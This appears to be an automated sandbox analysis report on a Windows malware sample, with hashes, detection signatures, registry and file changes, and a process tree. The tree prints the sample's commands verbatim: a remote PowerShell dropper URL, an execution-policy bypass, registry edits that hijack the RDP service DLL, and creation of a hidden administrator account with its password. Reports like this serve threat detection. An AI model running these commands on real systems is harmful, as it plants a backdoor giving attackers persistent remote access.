b3f483f00e80c0777858e6795f9f13bce726ff8265ef3e8cd3602cf1711247a2

Analysis

max time kernel
52s
max time network
125s
platform
windows10_x64
resource
win10v20210410
submitted
08-07-2021 17:08

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General

Target

2b7720a936539736e36bb95fd6c61818.exe
Size

4.4MB
MD5

2b7720a936539736e36bb95fd6c61818
SHA1

b89323ad4d1f09227e097173420504f24e27e131
SHA256

b3f483f00e80c0777858e6795f9f13bce726ff8265ef3e8cd3602cf1711247a2
SHA512

d878072027b9aca3434c2b15cb4a3b4c9d097806719ac50ed731110faef2561fa179831804ad4624b7fa7b0fbd6f5927d5ab2fc078b918e13d21d88292f5bcad

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Core1 .NET packer 1 IoCs

Detects packer/loader used by .NET malware.

resource	yara_rule
behavioral2/memory/3968-119-0x000000001E380000-0x000000001E9AB000-memory.dmp	Core1

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
15	2628	powershell.exe
17	2628	powershell.exe
18	2628	powershell.exe
19	2628	powershell.exe
21	2628	powershell.exe
23	2628	powershell.exe
25	2628	powershell.exe
27	2628	powershell.exe
29	2628	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000200000001ab6b-227.dat	upx
behavioral2/files/0x000600000001ab6c-228.dat	upx

Deletes itself 1 IoCs

pid	Process
1496	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3636	Process not Found
3636	Process not Found

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3968 set thread context of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB4D2.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB490.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB4C1.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_k0napcxk.ako.ps1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_2pzhnhnm.uge.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB4B0.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIB4D3.tmp	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1400 = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\PMDisplayName = "Internet [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Description = "Your computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3216	reg.exe

Runs net.exe

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	17	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1496	powershell.exe
1496	powershell.exe
1496	powershell.exe
184	powershell.exe
184	powershell.exe
184	powershell.exe
2604	powershell.exe
2604	powershell.exe
2604	powershell.exe
2680	powershell.exe
2680	powershell.exe
2680	powershell.exe
1496	powershell.exe
1496	powershell.exe
1496	powershell.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
612	Process not Found
612	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	184	powershell.exe
Token: SeIncreaseQuotaPrivilege	184	powershell.exe
Token: SeSecurityPrivilege	184	powershell.exe
Token: SeTakeOwnershipPrivilege	184	powershell.exe
Token: SeLoadDriverPrivilege	184	powershell.exe
Token: SeSystemProfilePrivilege	184	powershell.exe
Token: SeSystemtimePrivilege	184	powershell.exe
Token: SeProfSingleProcessPrivilege	184	powershell.exe
Token: SeIncBasePriorityPrivilege	184	powershell.exe
Token: SeCreatePagefilePrivilege	184	powershell.exe
Token: SeBackupPrivilege	184	powershell.exe
Token: SeRestorePrivilege	184	powershell.exe
Token: SeShutdownPrivilege	184	powershell.exe
Token: SeDebugPrivilege	184	powershell.exe
Token: SeSystemEnvironmentPrivilege	184	powershell.exe
Token: SeRemoteShutdownPrivilege	184	powershell.exe
Token: SeUndockPrivilege	184	powershell.exe
Token: SeManageVolumePrivilege	184	powershell.exe
Token: 33	184	powershell.exe
Token: 34	184	powershell.exe
Token: 35	184	powershell.exe
Token: 36	184	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeIncreaseQuotaPrivilege	2604	powershell.exe
Token: SeSecurityPrivilege	2604	powershell.exe
Token: SeTakeOwnershipPrivilege	2604	powershell.exe
Token: SeLoadDriverPrivilege	2604	powershell.exe
Token: SeSystemProfilePrivilege	2604	powershell.exe
Token: SeSystemtimePrivilege	2604	powershell.exe
Token: SeProfSingleProcessPrivilege	2604	powershell.exe
Token: SeIncBasePriorityPrivilege	2604	powershell.exe
Token: SeCreatePagefilePrivilege	2604	powershell.exe
Token: SeBackupPrivilege	2604	powershell.exe
Token: SeRestorePrivilege	2604	powershell.exe
Token: SeShutdownPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeSystemEnvironmentPrivilege	2604	powershell.exe
Token: SeRemoteShutdownPrivilege	2604	powershell.exe
Token: SeUndockPrivilege	2604	powershell.exe
Token: SeManageVolumePrivilege	2604	powershell.exe
Token: 33	2604	powershell.exe
Token: 34	2604	powershell.exe
Token: 35	2604	powershell.exe
Token: 36	2604	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeIncreaseQuotaPrivilege	2680	powershell.exe
Token: SeSecurityPrivilege	2680	powershell.exe
Token: SeTakeOwnershipPrivilege	2680	powershell.exe
Token: SeLoadDriverPrivilege	2680	powershell.exe
Token: SeSystemProfilePrivilege	2680	powershell.exe
Token: SeSystemtimePrivilege	2680	powershell.exe
Token: SeProfSingleProcessPrivilege	2680	powershell.exe
Token: SeIncBasePriorityPrivilege	2680	powershell.exe
Token: SeCreatePagefilePrivilege	2680	powershell.exe
Token: SeBackupPrivilege	2680	powershell.exe
Token: SeRestorePrivilege	2680	powershell.exe
Token: SeShutdownPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeSystemEnvironmentPrivilege	2680	powershell.exe
Token: SeRemoteShutdownPrivilege	2680	powershell.exe
Token: SeUndockPrivilege	2680	powershell.exe
Token: SeManageVolumePrivilege	2680	powershell.exe
Token: 33	2680	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3968 wrote to memory of 3884	3968	2b7720a936539736e36bb95fd6c61818.exe	76
PID 3884 wrote to memory of 1496	3884	vbc.exe	79
PID 3884 wrote to memory of 1496	3884	vbc.exe	79
PID 1496 wrote to memory of 3896	1496	powershell.exe	81
PID 1496 wrote to memory of 3896	1496	powershell.exe	81
PID 3896 wrote to memory of 1012	3896	csc.exe	82
PID 3896 wrote to memory of 1012	3896	csc.exe	82
PID 1496 wrote to memory of 184	1496	powershell.exe	83
PID 1496 wrote to memory of 184	1496	powershell.exe	83
PID 1496 wrote to memory of 2604	1496	powershell.exe	86
PID 1496 wrote to memory of 2604	1496	powershell.exe	86
PID 1496 wrote to memory of 2680	1496	powershell.exe	88
PID 1496 wrote to memory of 2680	1496	powershell.exe	88
PID 1496 wrote to memory of 2620	1496	powershell.exe	92
PID 1496 wrote to memory of 2620	1496	powershell.exe	92
PID 1496 wrote to memory of 3216	1496	powershell.exe	93
PID 1496 wrote to memory of 3216	1496	powershell.exe	93
PID 1496 wrote to memory of 2196	1496	powershell.exe	94
PID 1496 wrote to memory of 2196	1496	powershell.exe	94
PID 1496 wrote to memory of 1452	1496	powershell.exe	95
PID 1496 wrote to memory of 1452	1496	powershell.exe	95
PID 1452 wrote to memory of 2652	1452	net.exe	96
PID 1452 wrote to memory of 2652	1452	net.exe	96
PID 1496 wrote to memory of 3108	1496	powershell.exe	97
PID 1496 wrote to memory of 3108	1496	powershell.exe	97
PID 3108 wrote to memory of 2120	3108	cmd.exe	98
PID 3108 wrote to memory of 2120	3108	cmd.exe	98
PID 2120 wrote to memory of 2544	2120	cmd.exe	99
PID 2120 wrote to memory of 2544	2120	cmd.exe	99
PID 2544 wrote to memory of 2744	2544	net.exe	100
PID 2544 wrote to memory of 2744	2544	net.exe	100
PID 1496 wrote to memory of 4052	1496	powershell.exe	101
PID 1496 wrote to memory of 4052	1496	powershell.exe	101
PID 4052 wrote to memory of 1364	4052	cmd.exe	102
PID 4052 wrote to memory of 1364	4052	cmd.exe	102
PID 1364 wrote to memory of 2148	1364	cmd.exe	103
PID 1364 wrote to memory of 2148	1364	cmd.exe	103
PID 2148 wrote to memory of 800	2148	net.exe	104
PID 2148 wrote to memory of 800	2148	net.exe	104
PID 736 wrote to memory of 2116	736	cmd.exe	108
PID 736 wrote to memory of 2116	736	cmd.exe	108
PID 2116 wrote to memory of 2384	2116	net.exe	109
PID 2116 wrote to memory of 2384	2116	net.exe	109
PID 3148 wrote to memory of 2196	3148	cmd.exe	112
PID 3148 wrote to memory of 2196	3148	cmd.exe	112
PID 2196 wrote to memory of 3448	2196	net.exe	113
PID 2196 wrote to memory of 3448	2196	net.exe	113
PID 2756 wrote to memory of 2544	2756	cmd.exe	116
PID 2756 wrote to memory of 2544	2756	cmd.exe	116
PID 2544 wrote to memory of 3076	2544	net.exe	117
PID 2544 wrote to memory of 3076	2544	net.exe	117
PID 2696 wrote to memory of 184	2696	cmd.exe	120
PID 2696 wrote to memory of 184	2696	cmd.exe	120
PID 184 wrote to memory of 3188	184	net.exe	121
PID 184 wrote to memory of 3188	184	net.exe	121

C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe
"C:\Users\Admin\AppData\Local\Temp\2b7720a936539736e36bb95fd6c61818.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3968
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Deletes itself
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v4ehonjw\v4ehonjw.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3896
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7E2E.tmp" "c:\Users\Admin\AppData\Local\Temp\v4ehonjw\CSCEF756C7C4109493491D7B63512A47E2B.TMP"
        5⤵
        
        PID:1012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2680
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:2620
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:3216
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:2196
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1452
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:2652
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3108
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2120
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2544
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:2744
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4052
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1364
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2148
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:800
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:2196
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:868

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:736
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:2384

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc J8h4OZY1 /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3148
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc J8h4OZY1 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc J8h4OZY1 /add
    3⤵
    PID:3448

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:3076

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:3188

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:736
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:2624
- - C:\Windows\system32\net1.exe
